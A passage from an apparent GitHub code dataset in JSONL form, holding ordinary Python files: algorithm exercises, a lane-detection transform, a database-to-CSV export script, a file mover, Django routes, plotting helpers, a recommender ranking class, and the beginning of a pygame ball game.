input().split()))\n\nplugs = [0] * n\n\nchangeItem = 0\nmaximum = 0\nresult = 0\n\nschedulingIdx = 0\nfor item in data: # 리스트에서 삭제해 나가기 때문에, 탐색 대상의 데이터들만 남아있으므로, 0번째 데이터를 가져다 사용할 수 있는 것\n # 1. 멀티탭에 동일한 제품이 꽂혀 있다면 넘어감\n if item in plugs:\n pass\n \n # 2. 멀티탭에 빈자리가 있으면 해당 제품 꽂음\n elif 0 in plugs:\n plugs[plugs.index(0)] = item\n \n # 3. 멀티탭에 빈자리가 없을 때\n else:\n for plug in plugs:\n # 멀티탭에 꽂혀있는 제품 중 이후에 꽂는 제품이 없는 경우, 그 제품을 빼고 탐색 중인 제품을 꽂는다\n if plug not in data[schedulingIdx:]:\n changeItem = plug\n break\n # 멀티탭에 꽂혀있는 제품 중 가장 나중에 사용하는 제품을 골라 빼고 탐색 중인 제품을 꽂는다\n elif data[schedulingIdx:].index(plug) > maximum:\n maximum = data[schedulingIdx:].index(plug)\n changeItem = plug\n # 실제로 변경\n plugs[plugs.index(changeItem)] = item\n # 기준 값 리셋\n maximum = 0\n # 변경 값 증가\n result += 1\n # 다음 for문 준비\n schedulingIdx += 1\n \n# 결과 값 출력\nprint(result)","repo_name":"wesley-94/Algorithm_study","sub_path":"BOJ/멀티탭 스케줄링.py","file_name":"멀티탭 스케줄링.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"33036033062","text":"import random\n# 🚨 Don't change the code below 👇\ntest_seed = int(input(\"Create a seed number: \"))\nrandom.seed(test_seed)\n\n# Split string method\nnames_string = input(\"Give me everybody's names, separated by a comma. \")\nnames = names_string.split(\", \")\n# 🚨 Don't change the code above 👆\n\n#Write your code below this line 👇\nnum = len(names)\nbill = random.randint(0,num - 1)\nperson_who_will_pay = names[bill]\nprint(person_who_will_pay + \" is going to buy the meal today!\")","repo_name":"yash-mewada/100DaysOfPython","sub_path":"Day_4/ex_2.py","file_name":"ex_2.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"3856319932","text":"import cv2\nimport pickle\nimport numpy as np\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport pickle\n\nimg = mpimg.imread('../test_images/straight_lines1.jpg')\n\n# --------------------------\n# Distortion Correction\n# --------------------------\nwith open('calibration_params.pkl', 'rb') as pickle_file:\n data = pickle.load(pickle_file)\nmtx = data['mtx']\ndist = data['dist']\n\nimg_undist = cv2.undistort(img, mtx, dist, None, mtx)\n\n# --------------------------\n# Perspective Transform\n# --------------------------\noffset = 100\nimg_size = (img.shape[1], img.shape[0])\n\n# for source points, I grabbed four points from test image\nraw_points = np.float32([[583, 455], [699, 455], [193, 720], [1113, 720]])\n# destination points\ndst = np.float32([[200, 0],\n [1000, 0],\n [200, 720],\n [1000, 720]])\nM = cv2.getPerspectiveTransform(raw_points, dst)\nMinv = cv2.getPerspectiveTransform(dst, raw_points)\n\n# warp image into top-down view\ntop_down = cv2.warpPerspective(img_undist, M, img_size)\n\n# plot\nf, (ax1, ax2) = plt.subplots(1, 2, figsize=(24, 5))\nf.tight_layout()\nax1.imshow(img)\nax1.set_title('Original Image', fontsize=10)\nax2.imshow(top_down)\nax2.set_title('Undistorted and Warped Image', fontsize=10)\nplt.show()\n\n# store perspective parameters\ndata = {'M': M,\n 'Minv': Minv}\n\nwith open('top_down_params.pkl', 'wb') as output:\n pickle.dump(data, output)","repo_name":"BeSlower/Self-Driving-Car","sub_path":"Project_04_advanced_lane_lines/Code/perspective_transform.py","file_name":"perspective_transform.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"15022617532","text":"# coding: utf-8\n\nfrom pythonmodules.config import Config\nimport psycopg2\nfrom tqdm import tqdm\nfrom pythonmodules.profiling import timeit\nfrom argparse import ArgumentParser\nfrom pythonmodules.multithreading import multithreaded\nfrom pywebserver.lib.matcher import Meta\nimport logging\nimport csv\nimport sys\nimport json\nfrom pythonmodules.alto import Extent\n\nparser = ArgumentParser(description='Generates the export csv')\nparser.add_argument('--start', type=int, nargs='?', help='start from')\nparser.add_argument('--table', help='Origin table', default='attestation_linksolr')\nparser.add_argument('--limit', type=int, help='limit amount done')\nparser.add_argument('--clear-log-file', default=False, action='store_true', help='Empty the log file first')\nparser.add_argument('--log-file', type=str, default='generate_csv.log', help='Set log file name')\nparser.add_argument('--csv', type=str, help='The csv to write te results to, if not given will output to stdout')\nparser.add_argument('--where', type=str, default=None, help='Extra conditions')\nparser.add_argument('--debug', default=False, action='store_true')\nparser.add_argument('--recalculate-textblock', default=False, action='store_true')\nparser.add_argument('--recalculate-meta', default=False, action='store_true')\n\nargs = parser.parse_args()\n\nif args.clear_log_file:\n open(args.log_file, 'w').close()\n\nlogging.basicConfig()\nlogger = logging.getLogger()\nfh = logging.FileHandler(args.log_file)\nfh.setLevel(logging.INFO)\nlogger.addHandler(fh)\n\nif args.debug:\n logger.addHandler(logging.StreamHandler())\n logger.setLevel(logging.DEBUG)\n logger.propagate = True\n\ncsv_file = sys.stdout if args.csv is None else open(args.csv, 'w')\n\n\nwhere = ''\nif args.where:\n where = 'AND %s ' % (args.where,)\n\nconfig = Config(section='db')\nconn = psycopg2.connect(config['connection_url'])\ncur = conn.cursor()\n\nwith timeit('SELECT', 5000):\n q = \"SELECT id, pid, nmlid, entity, score, meta \" \\\n \"FROM %s \" \\\n \"WHERE status != 2 AND status != 4 AND score > 0 %s \" \\\n \"ORDER BY pid ASC \" % (args.table, where)\n if args.limit:\n q += ' LIMIT %d' % int(args.limit)\n if args.start:\n q += ' OFFSET %d' % int(args.start)\n cur.execute(q)\n\nheaders = ('pid', 'page', 'type', 'external_id', 'name', 'lod', 'meta')\nwriter = csv.writer(csv_file)\nwriter.writerow(headers)\n\ni = 0\n\n\nget_meta = Meta(force_regen=args.recalculate_meta)\n\n\n@multithreaded(10, pre_start=True, pass_thread_id=False)\ndef process(row):\n global i, conn\n try:\n id_, full_pid, external_id, entity, score, meta = row\n meta = json.loads(meta)\n orig_meta = meta\n meta = get_meta(full_pid, external_id, entity, score, meta)\n\n pid, pid_date, page = full_pid.split('_', 2)\n page = int(page)\n\n full_name = meta['name']\n\n if orig_meta != meta:\n cur_write = conn.cursor()\n cur_write.execute('UPDATE %s SET meta = %%s WHERE id=%%s' % args.table,\n (json.dumps(meta), id_))\n cur_write.close()\n\n lod = {\n \"af:confidence\": score,\n \"@graph\": [\n {\n \"@id\": \"https://hetarchief.be/pid/%s/%d\" % (pid, page),\n \"mentions\": [\n {\n \"@id\": \"https://database.namenlijst.be/publicsearch/#/person/_id=%s\" % (external_id,),\n \"@type\": \"Person\",\n \"name\": full_name,\n \"label\": full_name,\n \"topicOf\": {\n \"@id\": \"https://database.namenlijst.be/publicsearch/#/person/_id=%s\" % (external_id,),\n \"partOf\": \"https://database.namenlijst.be\"\n }\n }\n ]\n }\n ]\n }\n\n lod = json.dumps(lod)\n if args.recalculate_textblock:\n extents = map(Extent.from_coords, meta['highlight'])\n meta['zoom'] = Extent.extend(*extents).pad(-200).as_coords()\n\n meta = json.dumps(meta)\n csv_row = [pid, page, 'namenlijst', external_id, entity, lod, meta]\n writer.writerow(csv_row)\n i += 1\n if i == 100:\n conn.commit()\n i = 0\n csv_file.flush()\n\n except Exception as e:\n logger.warning('exception for %s', 'namenlijst/%s/%s/%s' % (full_pid, external_id, entity.replace(' ', '/')))\n logger.exception(e)\n\n\nprocess._multithread.pbar = tqdm(total=cur.rowcount)\nprocess(cur)\n\ncsv_file.flush()\n\nif csv_file is not sys.stdout:\n csv_file.close()\n\ncur.close()\nconn.commit()\nconn.close()\n\n","repo_name":"viaacode/nvdgo-namelinking","sub_path":"generate_csv.py","file_name":"generate_csv.py","file_ext":"py","file_size_in_byte":4716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"39004263428","text":"import os,subprocess\r\ndef main():\r\n dirlist = os.listdir(\"/home/alumne/Descargas\")\r\n dirm4 = \"/home/alumne/Dropbox/M4\"\r\n dirm6 = \"/home/alumne/Dropbox/M06\"\r\n dirm7 = \"/home/alumne/Dropbox/M7\"\r\n dirm8 = \"/home/alumne/Dropbox/m8\"\r\n m4 = [\"M04\",\"m4\",\"M4\",\"m04\"]\r\n m6 = [\"M06\",\"m6\",\"M6\",\"m06\"]\r\n m7 = [\"M07\",\"m7\",\"M7\",\"m07\"]\r\n m8 = [\"M08\",\"m8\",\"M8\",\"m08\"]\r\n\r\n for dirthings in dirlist:\r\n for m4things in m4:\r\n if m4things in dirthings:\r\n llocpanvia = \"mv\",\"/home/alumne/Descargas/\"+dirthings,\" \",dirm4\r\n subprocess.Popen(llocpanvia)\r\n for m6things in m6:\r\n if m6things in dirthings:\r\n llocpanvia = \"mv\",\"/home/alumne/Descargas/\"+dirthings,\" \",dirm6\r\n subprocess.Popen(llocpanvia)\r\n for m7things in m7:\r\n if m7things in dirthings:\r\n llocpanvia = \"mv\",\"/home/alumne/Descargas/\"+dirthings,\" \",dirm7\r\n subprocess.Popen(llocpanvia)\r\n for m8things in m8:\r\n if m8things in dirthings:\r\n llocpanvia = \"mv\",\"/home/alumne/Descargas/\"+dirthings,\" \",dirm8\r\n subprocess.Popen(llocpanvia)\r\nmain()\r\n","repo_name":"olsn-bit/miprojects","sub_path":"Projecte14 FileMover/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"2128742578","text":"from django.conf.urls import url\nfrom django.views.generic import TemplateView\n\nfrom .apis.bookings import BookingCreateApi\nfrom .apis.rooms import RoomListApi\nfrom .apis.tenants import TenantListApi\n\n\nurlpatterns = [\n url(\n regex=r'^booking/form/$',\n view=TemplateView.as_view(template_name='booking_create.html'),\n name='booking-form'\n ),\n url(\n regex=r'^booking/create/$',\n view=BookingCreateApi.as_view(),\n name='booking-create'\n ),\n url(\n regex=r'^rooms/$',\n view=RoomListApi.as_view(),\n name='rooms'\n ),\n url(\n regex=r'^tenants/$',\n view=TenantListApi.as_view(),\n name='tenants'\n ),\n]\n","repo_name":"kbadova/HackSoftConf-2017","sub_path":"project/backend/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"3785771994","text":"import numpy as np\n\nfrom matplotlib.pyplot import figure\nimport matplotlib.pyplot as plt\n\n\ndef multiple_time_series(events, labels, times):\n \"\"\"\n Creates a plot of multiple time series given.\n :param events: 2D (numpy) array with actual event values\n :param labels: list (len = events.ndim[0]) with label for every time serie\n :param times: 1D (numpy) array with times\n \"\"\"\n fig = figure(figsize=(8, 6))\n\n title = 'Input (top) and map (bottom) neurons voltage traces'\n fig.canvas.set_window_title(title)\n\n for i, signal in enumerate(events):\n ax = fig.add_subplot(len(events), 1, i + 1) # always vertical\n\n # limits of the x axis\n ax.set_xlim(times[0], times[-1])\n\n # limits of the y axis\n dmin = signal.min()\n dmax = signal.max()\n ax.set_ylim(dmin - 0.15 * np.abs(dmin), dmax + 0.15 * np.abs(dmax))\n\n ax.set_xlabel('time (ms)')\n ax.set_ylabel(labels[i])\n\n ax.plot(times, signal)\n\n return fig\n\n\ndef weights_multiple(weights):\n \"\"\"\n Creates a figure to plot several weight matrixes.\n\n :param weights: list of numpy 2D arrays with float values\n \"\"\"\n fig = figure(figsize=(11, 7))\n fig.canvas.set_window_title('Weights input - map layers')\n\n to_plot = np.array(weights)\n total = len(to_plot)\n g_min = to_plot.min() # needed for colorbar\n g_max = to_plot.max()\n delta = g_max - g_min\n\n for i, matrix in enumerate(to_plot):\n key = 100 + total * 10 + (i+1) # always horizontal\n\n ax = fig.add_subplot(key)\n weights_normalized = matrix\n im = ax.imshow(weights_normalized.T, vmin=g_min, vmax=g_max,\n interpolation='nearest', origin='lower')\n ax.set_xlabel('input neurons')\n ax.set_ylabel('output neurons')\n\n try:\n axc = fig.add_axes([0.1, 0.1, 0.8, 0.05]) # setup colorbar axes.\n bar = plt.colorbar(im, cax=axc, orientation='horizontal')\n labels = [round((g_min + (x * delta/10.0)), 2) for x in range(11)]\n bar.set_ticks(labels)\n bar.set_ticklabels([str(x) for x in labels])\n except NameError:\n pass\n\n return fig","repo_name":"asobolev/nix4nest","sub_path":"examples/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"42108967110","text":"import pylab as plt\nimport numpy as np\ndef Nasser_Daniel_MNK(x,y,n):\n A = np.array([[1] for i in range(len(x))])\n for i in range(1,n+1):\n A=np.hstack((A,[[x[j]**i] for j in range(len(x))]))\n At = np.transpose(A)\n Ap = np.dot(At,A)\n Ap = np.linalg.inv(Ap)\n Al = np.dot(At,y)\n Ap = np.dot(Ap,Al)\n print(Ap)\n plt.plot(x,y,'ro')\n X = np.linspace(0,15,100)\n Y = np.copy(X)\n for i in range(100):\n Y[i]=0\n for j in range(len(Ap)):\n Y[i] += Ap[j] * X[i] ** j \n plt.plot(X,Y)\n plt.show()\nx=[3,5,9,10,13,15]\ny=[5,5,3,8,10,13]\nNasser_Daniel_MNK(x,y,1)","repo_name":"parogracz/Numerical_Methods","sub_path":"PD8/zad1/zad1.py","file_name":"zad1.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"9410903620","text":"#Given a linked list, return the node where the cycle begins. If there is no cycle, return null.\n#\n#Try solving it using constant additional space.\n#\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n#Input : \n#\n# ______\n# | |\n# \\/ |\n# 1 -> 2 -> 3 -> 4\n#\n#Return the node corresponding to node 3. \nclass Solution:\n # @param A : head node of linked list\n # @return the first node in the cycle in the linked list\n def detectCycle(self, A):\n if A == None or A.next == None:\n return None\n x = ListNode(1)\n x = A\n x_adv = ListNode(1)\n x_adv = A\n while(x != None and x_adv != None):\n x = x.next\n if x_adv.next != None:\n x_adv = x_adv.next\n x_adv = x_adv.next\n else:\n return None\n if x == x_adv:\n break\n if x == None or x_adv == None:\n return None\n x_find = ListNode(1)\n x_find = A\n while(x_find != x): # x_adv didn't travel non-loop distance 2nd time, that would be the difference\n x = x.next\n x_find = x_find.next\n return x_find\n","repo_name":"mmorshed99/linked_list_problems","sub_path":"List_cycle.py","file_name":"List_cycle.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"16365715701","text":"import random\nfrom typing import List, Dict\nimport itertools\n\nimport pandas as pd\n\nfrom shared.enums import Sentiment\n\n\nclass Ranking:\n def __init__(self, seed: int):\n self._rand = random.Random(seed)\n self.sentiment_samples = dict()\n self._list = None\n\n def get_seen_samples(self):\n \"\"\"\n Get all seen samples\n @return: Seen sample\n \"\"\"\n return set(itertools.chain.from_iterable(\n [value for key, value in self.sentiment_samples.items() if key != Sentiment.UNSEEN]))\n\n def to_list(self, neg_samples=100) -> List[int]:\n \"\"\"\n Get sentiment values and shuffles them, to insure no bias is created\n @return: a list of sentiment values\n \"\"\"\n if self._list is None:\n items = self.sentiment_samples[Sentiment.UNSEEN]\n\n if neg_samples is not None:\n self._rand.shuffle(items)\n\n self.sentiment_samples[Sentiment.UNSEEN] = items[:neg_samples]\n as_list = list(itertools.chain.from_iterable(self.sentiment_samples.values()))\n\n # Shuffle to avoid any bias arising from positive sample being first or last\n self._rand.shuffle(as_list)\n self._list = as_list\n\n return self._list\n\n def _get_utility(self, entity_idx, sentiment_utility: Dict[Sentiment, float]) -> float:\n for sentiment, utility in sentiment_utility.items():\n if entity_idx in self.sentiment_samples[sentiment]:\n return utility\n\n return 0\n\n def get_relevance(self, entity_indices: List[int]) -> List[bool]:\n return [entity_idx in self.sentiment_samples[Sentiment.POSITIVE] for entity_idx in entity_indices]\n\n def get_utility(self, entity_indices: List[int], sentiment_utility: Dict[Sentiment, float]) -> List[float]:\n utilities = []\n for sentiment, utility in sentiment_utility.items():\n df = pd.DataFrame(0., self.sentiment_samples[sentiment], columns=['sent'])\n df['sent'] = utility\n\n utilities.append(df)\n\n utilities = pd.concat(utilities)\n return utilities.loc[entity_indices]['sent'].tolist()\n","repo_name":"theisjendal/kars2023-recommendation-framework","sub_path":"shared/ranking.py","file_name":"ranking.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"24790749970","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nMain code for Ball Adventures that ties everything together\r\n\r\nCreated on Wed Jun 28 02:35:41 2017\r\n\r\n@author: Alex\r\n\"\"\"\r\n\r\nimport pygame, math\r\npygame.init()\r\nimport BallUnit as Ball\r\nimport Projectile as rng\r\nimport Platform as lv\r\nimport frameworks as fw\r\nimport UserInterface as ui\r\nimport os\r\nx, y = 50, 50\r\nos.environ['SDL_VIDEO_WINDOW_POS'] = \"{},{}\".format(x,y)\r\n\r\n# TODO: \"Slow\" skill can also affect speed\r\n# TODO: Almighty attack\r\n\r\n# --- Important Game Variables and Set Up ---\r\n\r\n# Constants:\r\nscreenWidth = 800\r\nscreenHeight = 600\r\ngameWidth = 640\r\ngameHeight = 480\r\n#screenWidth = 960\r\n#screenHeight = 640\r\ninBattle_scale = 1.5\r\n\r\n# States that affect what is displayed on screen\r\nGAMEPLAY = 0\r\nPAUSEMENU = 1\r\nSHOP = 2\r\nSKILLEQUIP = 3\r\nOPTIONS = 4\r\nSTARTSCREEN = 5\r\nDEATHSCREEN = 6\r\n\r\n\r\nblue = (0,0,255)\r\nwhite = (255,255,255)\r\nblack = (0,0,0)\r\nred = (255,0,0)\r\ngreen = (0,255,0)\r\nlightred = (255, 100, 100)\r\ngrey = (192, 192, 192)\r\n\r\n# Game State Management Variables and Initializations\r\n#menu = False\r\ngamePaused = False\r\nanimationPaused = False\r\ncrashed = False\r\ngameState = GAMEPLAY\r\ncurrentFloor = lv.levels.getCurrentLevel().getCurrentFloor()\r\ngameAnimations = fw.Animations()\r\nscale = 1\r\ninBattleEndTimer = 0\r\ninBattlePrepTimer = 0\r\n\r\n\r\ngameDisplay = pygame.display.set_mode((screenWidth, screenHeight), 0, 0)\r\n#gameDisplay = pygame.display.set_mode((gameWidth, gameHeight), 0, 0)\r\n\r\npygame.display.set_caption('Ball Adventures')\r\nbasicfont = pygame.font.SysFont('Ariel MS', 30)\r\n\r\nBall.setScreenSize(screenWidth, screenHeight)\r\nlv.setScreenSize(screenWidth, screenHeight)\r\nclock = pygame.time.Clock()\r\n\r\nplayer = Ball.PlayerBall(50, 30, 0, 30, (False,False,False))\r\nplayer.setPos2(currentFloor.getPlayerStartPos())\r\n#player.setPos(100, 580)\r\nlr = [0, 0]\r\ninBattleEnemy = None # Only one at a time\r\n\r\npauseButton = pygame.Rect(0, 0, 80, 22)\r\n\r\npauseMenu = ui.PauseMenu()\r\nskillsUI = ui.SkillsUI(player)\r\n#shopUI = ui.ShopUI()\r\n\r\n# --- Functions related to displaying and drawing on screen ---\r\n\r\ndef makeHealthBar():\r\n barLength = 100\r\n barHeight = 20\r\n \r\n # Getting percents\r\n healthPct = player.getHP()/player.getMaxHP()\r\n healablePct = player.getHealableDmg()/player.getMaxHP()\r\n permaDmgPct = 1 - healthPct - healablePct\r\n mpPct = max(player.getMP()/player.getMaxMP(), 0)\r\n \r\n # defining bars and borders\r\n hpbarOutline = pygame.Rect(99, 30, barLength + 2, barHeight) \r\n mpbarOutline = pygame.Rect(99, 60, barLength + 2, barHeight)\r\n \r\n healthBar = pygame.Rect(100, 31, math.ceil(barLength * healthPct), barHeight - 2)\r\n healableBar = pygame.Rect(100 + barLength * healthPct, 31, math.ceil(barLength * healablePct), barHeight - 2)\r\n dmgBar = pygame.Rect(100 + barLength * (healthPct + healablePct), 31, \\\r\n math.ceil(barLength * permaDmgPct), barHeight - 2)\r\n mpBar = pygame.Rect(100, 61, math.ceil(barLength * mpPct), barHeight - 2)\r\n \r\n # Drawing\r\n pygame.draw.rect(gameDisplay, black, hpbarOutline)\r\n pygame.draw.rect(gameDisplay, green, healthBar)\r\n if healthPct < 1:\r\n if not healablePct == 0:\r\n pygame.draw.rect(gameDisplay, lightred, healableBar)\r\n pygame.draw.rect(gameDisplay, red, dmgBar)\r\n \r\n pygame.draw.rect(gameDisplay, black, mpbarOutline)\r\n pygame.draw.rect(gameDisplay, blue, mpBar)\r\n # TODO: Make this a surface\r\n\r\ndef overworldEnemyHPBar(enemy):\r\n # Drawing the HP bar for overworld enemies when they're hit (fades)\r\n pxAbove = 30\r\n barLength = 64\r\n barHeight = 7\r\n ePos = enemy.getPos()\r\n r = enemy.getRadius()\r\n healthPct = enemy.getHP()/enemy.getMaxHP()\r\n \r\n #healthAdjust = ePos[0] - barLength/2 + math.ceil(barLength * healthPct)\r\n #healthBar = pygame.Rect(ePos[0] - barLength/2, ePos[1] - pxAbove - r, math.ceil(barLength * healthPct), barHeight)\r\n #dmgBar = pygame.Rect(healthAdjust, ePos[1] - pxAbove - r, math.floor(barLength * (1 - healthPct)), barHeight)\r\n healthBarPos = (ePos[0] - barLength/2, ePos[1] - pxAbove - r)\r\n healthAdjust = math.ceil(barLength * healthPct)\r\n healthBar = pygame.Rect(0, 0, math.ceil(barLength * healthPct), barHeight)\r\n dmgBar = pygame.Rect(healthAdjust, 0, math.floor(barLength * (1 - healthPct)), barHeight)\r\n \r\n # Drawing: Can this fade?\r\n healthBarSurface = pygame.Surface((barLength, barHeight))\r\n pygame.draw.rect(healthBarSurface, green, healthBar)\r\n pygame.draw.rect(healthBarSurface, red, dmgBar)\r\n \r\n if enemy.getHealthBarCount()==1:\r\n gameAnimations.addAnimation(fw.MovingFade(healthBarSurface, enemy, healthBarPos, 4))\r\n else:\r\n gameDisplay.blit(healthBarSurface, healthBarPos)\r\n\r\n\r\ndef inBattleEnemyHPBar():\r\n barLength = 150\r\n barHeight = 25\r\n \r\n if inBattleEnemy == None:\r\n return None\r\n \r\n # Text\r\n enemyName = basicfont.render(\"Lv \" + str(inBattleEnemy.getLv()) + \" \" + \\\r\n inBattleEnemy.getName(), False, (0,0,0))\r\n enemyHP = basicfont.render(\"HP: \" + str(inBattleEnemy.getHP()) + \"/\" + str(inBattleEnemy.getMaxHP()), False, (0,0,0)) \r\n gameDisplay.blit(enemyName, (550, 5))\r\n gameDisplay.blit(enemyHP, (550, 30))\r\n \r\n # Percents\r\n healthPct = inBattleEnemy.getHP()/inBattleEnemy.getMaxHP()\r\n healablePct = inBattleEnemy.getHealableDmg()/inBattleEnemy.getMaxHP()\r\n permaDmgPct = 1 - healthPct - healablePct\r\n \r\n # defining bars and borders\r\n hpbarOutline = pygame.Rect(644, 30, barLength + 2, barHeight) \r\n \r\n healthBar = pygame.Rect(645, 31, math.ceil(barLength * healthPct), barHeight - 2)\r\n healableBar = pygame.Rect(645 + barLength * healthPct, 31, math.ceil(barLength * healablePct), barHeight - 2)\r\n dmgBar = pygame.Rect(645 + barLength * (healthPct + healablePct), 31, \\\r\n math.ceil(barLength * permaDmgPct), barHeight - 2)\r\n # Drawing\r\n pygame.draw.rect(gameDisplay, black, hpbarOutline)\r\n if not healthPct <= 0:\r\n pygame.draw.rect(gameDisplay, green, healthBar)\r\n if healthPct < 1:\r\n if not healablePct == 0:\r\n pygame.draw.rect(gameDisplay, lightred, healableBar)\r\n pygame.draw.rect(gameDisplay, red, dmgBar)\r\n\r\n # TODO: Make this a surface\r\n\r\n\r\ndef updateNumberDisplay():\r\n # Displaying the text and the health bars\r\n hpsurface = basicfont.render(\"HP: \" + str(player.getHP()) + \"/\" + str(player.getMaxHP()), False, (0,0,0)) \r\n mpsurface = basicfont.render(\"MP: \" + str(player.getMP()) + \"/\" + str(player.getMaxMP()), False, (0,0,0))\r\n expsurface = basicfont.render(\"EXP: \" + str(player.getEXP()), False, (0,0,0))\r\n specialsurface = basicfont.render(\"Cooldown: \" + str(player.getSpecialSecs()), False, (0,0,0))\r\n \r\n minimenu = pygame.Surface((800, 118))\r\n minimenu.fill(black)\r\n pygame.draw.rect(minimenu, grey, pygame.Rect(0,0,800, 115))\r\n minimenu.set_alpha(100)\r\n gameDisplay.blit(minimenu, (0,0))\r\n #pygame.draw.rect(gameDisplay, grey, pygame.Rect(0,0,800, 115))\r\n \r\n gameDisplay.blit(hpsurface, (0,30))\r\n gameDisplay.blit(mpsurface, (0, 60))\r\n gameDisplay.blit(expsurface, (0, 90))\r\n gameDisplay.blit(specialsurface, (0, 120))\r\n \r\n makeHealthBar()\r\n \r\n menuText = basicfont.render(\"MENU\", False, red)\r\n pygame.draw.rect(gameDisplay, black, pauseButton) # This should be its own class\r\n gameDisplay.blit(menuText, (10,2))\r\n \r\n if inBattleEnemy:\r\n inBattleEnemyHPBar()\r\n\r\n\r\ndef drawMainElements():\r\n # platform, then balls, then bullets\r\n gameDisplay.fill(white)\r\n drawEdges()\r\n if not inBattleEnemy:\r\n activeEnemies = currentFloor.getActiveEnemies()\r\n \r\n for platform in currentFloor.getActivePlatforms():\r\n platformBox = platform.getRect()\r\n pygame.draw.rect(gameDisplay, platform.getColor(), platformBox)\r\n \r\n for enemy in activeEnemies: \r\n enemy.draw(gameDisplay) \r\n elif inBattleEnemy and inBattleEnemy.getHP()>0:\r\n inBattleEnemy.draw(gameDisplay)\r\n \r\n player.draw(gameDisplay)\r\n \r\n for bullet in player.getBullets():\r\n bullet.draw(gameDisplay)\r\n \r\n bomb = player.getScreenBomb()\r\n if bomb:\r\n bomb.draw(gameDisplay)\r\n \r\n if not inBattleEnemy:\r\n for enemy in currentFloor.getEnemies():\r\n for ebullet in enemy.getBullets():\r\n ebullet.draw(gameDisplay) \r\n if enemy.showHPBar():\r\n overworldEnemyHPBar(enemy)\r\n elif inBattleEnemy and inBattleEnemy.getHP()>0:\r\n for ebullet in inBattleEnemy.getBullets():\r\n ebullet.draw(gameDisplay)\r\n\r\n phys = player.getPhys()\r\n if phys:\r\n phys.draw(gameDisplay)\r\n\r\n gameAnimations.drawAnimations(gameDisplay)\r\n\r\n \r\n \r\n\r\n# --- Helpful Helper Functions ---\r\ndef prepInBattle(enemy, left = True):\r\n global inBattlePrepTimer, inBattleEnemy\r\n \r\n inBattleEnemy = enemy\r\n player.clearBullets()\r\n currentFloor.clearAllBullets()\r\n player.savePosition(player.getPos(), player.isGrounded())\r\n \r\n inBattlePrepTimer = 15\r\n mid = midPoint(player.getPos(), inBattleEnemy.getPos())\r\n gameAnimations.addAnimation(fw.Spotlight(mid))\r\n\r\n\r\ndef toInBattle(left = True):\r\n global inBattleEnemy, scale, lr\r\n inBattleEnemy.inBattleState(True)\r\n inBattleEnemy.setPos2(inBattleEnemy.getInBattlePos())\r\n inBattleEnemy.updateInBattleHP()\r\n # enemy hp adjustment\r\n \r\n player.setPos2(player.getInBattlePos())\r\n player.fall()\r\n lr = [0,0]\r\n \r\n # TODO: Enemies should have starting in-battle positions, eg. Flying in the air\r\n scale = inBattle_scale\r\n \r\n \r\ndef endInBattle():\r\n global inBattleEndTimer\r\n inBattleEndTimer = 50\r\n\r\n\r\ndef midPoint(pos1, pos2):\r\n x = abs(pos1[0] - pos2[0])/2 + min(pos1[0], pos2[0])\r\n y = abs(pos1[1] - pos2[1])/2 + min(pos1[1], pos2[1])\r\n return (math.floor(x),math.floor(y))\r\n\r\n\r\ndef timers():\r\n global inBattleEndTimer, inBattlePrepTimer, gamePaused\r\n if not paused():\r\n if inBattleEndTimer > 0:\r\n inBattleEndTimer -= 1\r\n if inBattleEndTimer == 0:\r\n toOverworld()\r\n \r\n \r\n # Regardless of pause\r\n if inBattlePrepTimer > 0:\r\n gamePaused = True\r\n inBattlePrepTimer -= 1\r\n if inBattlePrepTimer == 0:\r\n gamePaused = False\r\n toInBattle()\r\n \r\n \r\n \r\ndef sideScroll(x, y):\r\n currentFloor.shift(x, y)\r\n gameAnimations.shift(x, y)\r\n player.shiftPos(x, y)\r\n phys = player.getPhys()\r\n if phys:\r\n phys.shiftPos(x, y)\r\n for bullet in player.getBullets():\r\n bullet.shiftPos(x, y)\r\n\r\n\r\ndef toOverworld():\r\n global scale, inBattleEnemy\r\n \r\n player.clearBullets()\r\n \r\n inBattleEnemy = None\r\n \r\n #gameState = OVERWORLD\r\n # TODO: Set up floor\r\n scale = 1\r\n prevPos = player.getSavePos()\r\n player.setPos2(prevPos[0])\r\n if not prevPos[1]:\r\n player.fall() \r\n \r\n # Grounded Check\r\n \r\n\r\ndef collideWithPlatforms(bulletRect):\r\n if not inBattleEnemy:\r\n for platform in currentFloor.getActivePlatforms():\r\n if platform.canBlockBullets() and platform.getRect().colliderect(bulletRect):\r\n return True\r\n return False\r\n\r\n\r\ndef collideWithEnemy(bulletRect, dmg):\r\n for enemy in activeEnemies:\r\n enemyBox = enemy.getOuterBox()\r\n if bulletRect.colliderect(enemyBox):\r\n alive = enemy.takeDamage(dmg)\r\n if not alive:\r\n enemyKill(enemy)\r\n return True\r\n return False\r\n\r\n\r\ndef togglePause():\r\n global gamePaused\r\n gamePaused = not gamePaused\r\n\r\n\r\ndef targetShoot(x, y, pos):\r\n global player\r\n pPos = player.getPos()\r\n if not x - pPos[0] == 0:\r\n angle = math.atan(-(y - pPos[1])/(x 